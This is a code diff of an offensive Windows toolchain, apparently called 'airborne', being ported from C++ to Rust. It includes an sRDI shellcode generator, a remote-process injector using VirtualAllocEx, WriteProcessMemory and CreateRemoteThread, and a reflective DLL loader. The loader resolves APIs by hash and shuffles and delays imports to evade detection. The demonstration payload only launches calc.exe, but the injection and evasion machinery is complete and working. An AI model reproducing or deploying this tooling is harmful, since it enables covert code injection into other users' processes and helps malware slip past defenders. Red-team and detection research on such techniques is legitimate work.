let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
/*
5.) call the reflective loader
*/
// call <loader_offset> - call the reflective loader address after calculation
bootstrap.push(0xe8);
let loader_address =
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
/*
6.) restore the stack and return to the original location (caller)
*/
// mov rsp, rsi - reset original stack pointer
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xf4);
// pop rsi - put things back where they were left
bootstrap.push(0x5e);
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
}
println!("[+] reflective loader size: {}", loader_b.len());
println!("[+] payload size: {}", payload_b.len());
let mut shellcode = Vec::new();
shellcode.append(&mut bootstrap);
shellcode.append(loader_b);
shellcode.append(payload_b);
shellcode.append(&mut parameter.as_bytes().to_vec());
/*
the final PIC shellcode will have the following memory layout:
- bootstrap
- sRDI shellcode
- payload DLL bytes
- user data
*/
println!("\n[+] total shellcode size: {}", shellcode.len());
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
);
println!(
"[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}",
payload_offset,
function_hash,
parameter,
parameter.len(),
flag
);
shellcode
}
fn gen_xor_key(keysize: usize) -> Vec<u8> {
let mut key = Vec::new();
for _ in 0..keysize {
key.push(rand::random::<u8>());
}
key
}
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
if e_name == name {
return Some(addr as _);
}
}
None
}
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
panic!("Failed to get DOS header");
}
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress,
) as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNames,
) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let export_functions = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions,
) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let export_ordinals = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals,
) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize;
exports.insert(
export_name.to_string(),
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
export_functions[export_ordinal],
),
);
}
}
exports
}
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T
}
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
);
let section_count = nt_header_ref.FileHeader.NumberOfSections;
for i in 0..section_count as usize {
let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress;
let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize;
// check if the rva is within the current section
if virtual_addr <= rva && virtual_addr + virtual_size > rva {
// adjust the rva to be relative to the start of the section in the file
rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData;
return base + rva as usize;
}
}
0
}

16
injector/Cargo.toml Normal file
View File

@ -0,0 +1,16 @@
[package]
name = "airborne-injector"
version = "0.1.0"
edition = "2021"
[dependencies]
lexopt = "0.3.0"
airborne-utils = { path = "../utils" }
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Diagnostics_ToolHelp",
]

View File

@ -1,56 +0,0 @@
#include <windows.h>
#include <iostream>
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
#define VERBOSE 1
int main(int argc, char **argv) {
if (argc != 3) {
std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
<< std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif
auto shellcodeContents = ReadFromFile(argv[1]);
#ifdef VERBOSE
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
#endif
auto key = ReadFromFile(argv[2]);
#ifdef VERBOSE
std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
XorCipher(&shellcodeContents, key);
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress) {
std::cout << "[!] Failed to allocate memory" << std::endl;
return 1;
}
#ifdef VERBOSE
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif
__asm__("jmp *%0" ::"r"(baseAddress));
return 0;
}

62
injector/src/inject.rs Normal file
View File

@ -0,0 +1,62 @@
use std::{mem::transmute, ptr::null_mut};
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::{
Diagnostics::Debug::WriteProcessMemory,
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},
},
};
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
panic!("failed to open process");
}
let base_addr_ptr = VirtualAllocEx(
h_process,
null_mut(),
dll_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if base_addr_ptr.is_null() {
panic!("failed to allocate memory");
}
println!("[+] allocated memory at {:p}", base_addr_ptr);
if WriteProcessMemory(
h_process,
base_addr_ptr,
dll_vec.as_ptr() as _,
dll_len,
null_mut(),
) == 0
{
panic!("failed to write process memory");
}
let h_thread = CreateRemoteThread(
h_process,
null_mut(),
0,
Some(transmute(base_addr_ptr as usize)),
null_mut(),
0,
null_mut(),
);
if h_thread == INVALID_HANDLE_VALUE {
panic!("failed to create remote thread");
}
CloseHandle(h_thread);
CloseHandle(h_process);
}

89
injector/src/main.rs Normal file
View File

@ -0,0 +1,89 @@
mod inject;
mod process;
use std::{fs, path::PathBuf, process::exit};
use lexopt::Arg::{Long, Short};
#[derive(Debug)]
struct Args {
procname: String,
shellcode_path: PathBuf,
keyfile_path: PathBuf,
offset: usize,
}
fn main() {
let args = parse_args();
let proc_id =
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length");
exit(1);
}
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode");
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname);
unsafe { inject::inject(proc_id, shellcode) };
println!("[+] done");
}
fn parse_args() -> Args {
let mut args = Args {
procname: String::new(),
shellcode_path: PathBuf::new(),
keyfile_path: PathBuf::new(),
offset: 0,
};
let mut parser = lexopt::Parser::from_env();
while let Some(arg) = parser.next().expect("failed to parse arguments") {
match arg {
Short('p') => {
args.procname = parser
.value()
.expect("failed to parse process name")
.into_string()
.expect("failed to convert process name into String");
}
Short('s') => {
args.shellcode_path = parser
.value()
.expect("failed to parse shellcode path")
.into();
}
Short('k') => {
args.keyfile_path = parser.value().expect("failed to parse keyfile path").into();
}
Short('h') | Long("help") => {
print_usage();
exit(0);
}
_ => {
println!("[!] invalid argument: {:?}", arg);
print_usage();
exit(1);
}
}
}
if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() {
println!("[!] missing or invalid argument(s)");
print_usage();
exit(1);
}
args
}
fn print_usage() {
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
}

56
injector/src/process.rs Normal file
View File

@ -0,0 +1,56 @@
use std::ffi::CStr;
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
},
};
fn snapshot() -> isize {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
if snapshot == INVALID_HANDLE_VALUE {
panic!("failed to create snapshot");
}
snapshot
}
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
if Process32First(snapshot, &mut pe) == 0 {
CloseHandle(snapshot);
panic!("failed to get first process entry");
}
pe
}
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
let snapshot = snapshot();
let mut pe = first_proc_entry(snapshot);
loop {
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
.to_string_lossy()
.into_owned();
if proc_name.to_lowercase() == target_name.to_lowercase() {
let pid = pe.th32ProcessID;
println!("[+] {}: {}", pid, proc_name);
CloseHandle(snapshot);
return Some(pid);
} else if Process32Next(snapshot, &mut pe) == 0 {
break;
}
}
println!("[-] process with name {} not found", target_name);
CloseHandle(snapshot);
None
}

18
payload/Cargo.toml Normal file
View File

@ -0,0 +1,18 @@
[package]
name = "airborne-payload"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_Security",
"Win32_UI_Shell",
"Win32_UI_WindowsAndMessaging"
]

View File

@ -1,24 +0,0 @@
#pragma GCC diagnostic ignored "-Wunused-parameter"
#include <windows.h>
#ifdef BUILD_DLL
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT __declspec(dllimport)
#endif
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
}
return TRUE;
}
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) {
auto lpText = static_cast<LPCWSTR>(lpUserData);
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
return TRUE;
}

39
payload/src/lib.rs Normal file
View File

@ -0,0 +1,39 @@
use std::{ffi::c_void, ptr::null_mut, slice::from_raw_parts, str::from_utf8};
use windows_sys::{
w,
Win32::{
Foundation::HMODULE,
System::SystemServices::DLL_PROCESS_ATTACH,
UI::{
Shell::ShellExecuteW,
WindowsAndMessaging::{MessageBoxW, MB_OK},
},
},
};
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(_module: HMODULE, reason: u32, _reserved: *mut u8) -> bool {
if reason == DLL_PROCESS_ATTACH {
ShellExecuteW(0, w!("open"), w!("calc.exe"), null_mut(), null_mut(), 0);
}
true
}
#[no_mangle]
#[allow(non_snake_case)]
unsafe fn PrintMessage(user_data_ptr: *mut c_void, user_data_len: u32) {
let udata_slice = from_raw_parts(user_data_ptr as *const u8, user_data_len as usize);
// TODO: switch to no_std environment, wstr can be created from u8 by utilizing udata_len as array length
let mut user_text_wstr = from_utf8(udata_slice)
.unwrap()
.encode_utf16() // must be UTF-16 for MessageBoxW
.collect::<Vec<u16>>();
user_text_wstr.push(0); // null-termination
MessageBoxW(0, user_text_wstr.as_ptr() as _, w!("Hello World!"), MB_OK);
}

View File

@ -0,0 +1,20 @@
[package]
name = "airborne-reflective_loader"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
airborne-utils = { path = "../utils" }
rand_core = "0.6.0"
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_Kernel",
"Win32_System_Threading",
"Win32_System_WindowsProgramming"
]

View File

@ -1,392 +0,0 @@
#include "loader.hpp"
#include <tuple>
#include <utility>
#include <vector>
#include "../shared/crypto.hpp"
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) {
/*
1.) Locate the required functions and modules from exports with their hashed names
*/
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
if (pbKernel32Dll == nullptr) {
return;
}
std::random_device rd;
std::mt19937 eng(rd());
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, &eng));
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, &eng));
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, &eng));
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, &eng));
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, &eng));
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, &eng));
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) {
return;
}
/*
2.) Load the target image to a newly allocated permanent memory location with RW permissions
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
*/
auto pNtHeaders = GetNtHeaders(pImage);
if (pNtHeaders == nullptr) {
return;
} else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return;
} else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
return;
} else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) {
return;
}
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
// Try to allocate the image to the preferred base address
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
// Try to allocate the image to any available base address
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!pNewImageBase) {
return;
}
}
CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders);
/*
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
*/
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) {
return;
}
/*
4.) Resolve the imports by patching the Import Address Table (IAT)
*/
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, &eng)) {
return;
}
/*
5.) Finalize the sections by setting protective permissions after mapping the image
*/
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
/*
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if (dwFlags == 0) {
// Execute DllMain with DLL_PROCESS_ATTACH
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// Optionally user data could also be passed to the DllMain instead of a separate function
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
} else {
// Execute user defined function
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, &eng));
pUserFunction(pvUserData, dwUserDataLen);
}
}
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) {
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
DWORD dwOldProtect, dwNewProtect;
LPVOID lpAddress;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
dwNewProtect = 0;
// Definitions for readability
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) {
dwNewProtect = PAGE_NOACCESS;
}
if (dwIsWritable) {
dwNewProtect = PAGE_WRITECOPY;
}
if (dwIsReadable) {
dwNewProtect = PAGE_READONLY;
}
if (dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_READWRITE;
}
if (dwIsExecutable) {
dwNewProtect = PAGE_EXECUTE;
}
if (dwIsExecutable && dwIsWritable) {
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
}
if (dwIsExecutable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READ;
}
if (dwIsExecutable && dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READWRITE;
}
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
}
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
}
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng) {
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pImportDescriptor == nullptr) {
return FALSE;
}
/*
1.) Shuffle Import Table entries
2.) Delay the relocation of each import a semirandom duration
3.) Conditional execution based on ordinal/name
4.) Indirect function call via pointer
*/
int importCount = 0;
auto pId = pImportDescriptor;
while (pId->Name) {
importCount++;
pId++;
}
std::vector<std::pair<int, DWORD>> sleepDurations;
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
if (importCount > 1 && OBFUSCATE_IMPORTS) {
for (auto i = 0; i < importCount - 1; i++) {
std::uniform_int_distribution<> distr(i, importCount - 1);
int j = distr(*eng);
// Swap
auto tmp = pImportDescriptor[i];
pImportDescriptor[i] = pImportDescriptor[j];
pImportDescriptor[j] = tmp;
// Store unique sleep durations with their corresponding import index
auto sleepTime = sleepDist(*eng);
sleepDurations.push_back(std::make_pair(i, sleepTime));
}
}
LPCWSTR pwszModuleName;
HMODULE hModule;
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) {
// Apply delay
if (OBFUSCATE_IMPORTS) {
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair) { return pair.first == i; });
if (it != sleepDurations.end()) {
pSleep(it->second);
}
}
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
hModule = pLoadLibraryW(pwszModuleName);
if (hModule == nullptr) {
return FALSE;
}
pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
LPCSTR lpProcName;
PIMAGE_IMPORT_BY_NAME pImportByName;
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) {
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
// High bits masked out to get the ordinal number
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
} else {
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
lpProcName = pImportByName->Name;
}
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
}
}
return TRUE;
}
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) {
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
if (pRelocation == nullptr || pDataDirectory->Size == 0) {
return FALSE;
}
// Upper bound to prevent accessing memory part the end of the relocation data
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
PIMAGE_RELOC pRelocationList;
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) {
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock) {
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
switch (pRelocationList->type) {
case IMAGE_REL_BASED_DIR64:
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
break;
case IMAGE_REL_BASED_HIGHLOW:
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
break;
case IMAGE_REL_BASED_HIGH:
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
break;
case IMAGE_REL_BASED_LOW:
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
break;
default:
continue;
}
pRelocationList++;
}
pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
}
return TRUE;
}
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) {
// Copy headers
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
// Copy sections
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress);
PBYTE pbSrc;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
}
}
PBYTE GetModuleAddressFromHash(DWORD dwHash) {
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
#if defined(_WIN64)
// PEB is at GS:[0x60]
auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60));
#else
// PEB is at FS:[0x30]
auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30));
#endif
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
while (pEntry->DllBase != NULL) {
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) {
return reinterpret_cast<PBYTE>(pEntry->DllBase);
}
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
}
return nullptr;
}
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng) {
auto pNtHeaders = GetNtHeaders(pbModule);
if (pNtHeaders == nullptr) {
return nullptr;
}
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
/*
1.) Read the export data (dwNameRva's)
2.) Shuffle the order of the collected export name RVA's
3.) Find the correct export by calculating hashes of the function names
*/
DWORD dwNameRva;
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
}
std::shuffle(vNameRvas.begin(), vNameRvas.end(), *eng);
DWORD dwNameHash, dwFunctionRva;
UNICODE_STRING *strFunctionNameBase;
WORD wOrdinal;
for (auto dwNRva : vNameRvas) {
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
dwNameHash = CalculateHash(*strFunctionNameBase);
if (dwNameHash == dwHash) {
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
}
}
return nullptr;
}
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) {
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return nullptr;
}
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return nullptr;
}
return pNtHeaders;
}

View File

@ -1,71 +0,0 @@
#pragma once
#include <windows.h>
#include <winternl.h>
#include <algorithm>
#include <random>
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
constexpr auto OBFUSCATE_IMPORTS = 1;
constexpr DWORD KERNEL32_DLL_HASH = 0x6DDB9555;
constexpr DWORD LOAD_LIBRARY_W_HASH = 0xB7072FF1;
constexpr DWORD GET_PROC_ADDRESS_HASH = 0xDECFC1BF;
constexpr DWORD VIRTUAL_ALLOC_HASH = 0x097BC257;
constexpr DWORD FLUSH_INSTRUCTION_CACHE_HASH = 0xEFB7BF9D;
constexpr DWORD VIRTUAL_PROTECT_HASH = 0xE857500D;
constexpr DWORD SLEEP_HASH = 0x0E07CD7E;
// Function pointer typedefs from MSDN
using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR);
using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR);
using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD);
using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T);
using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD);
using SLEEP = VOID(WINAPI *)(DWORD);
// Payload function pointer typedefs
using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
// Complete WinAPI PEB structs
struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
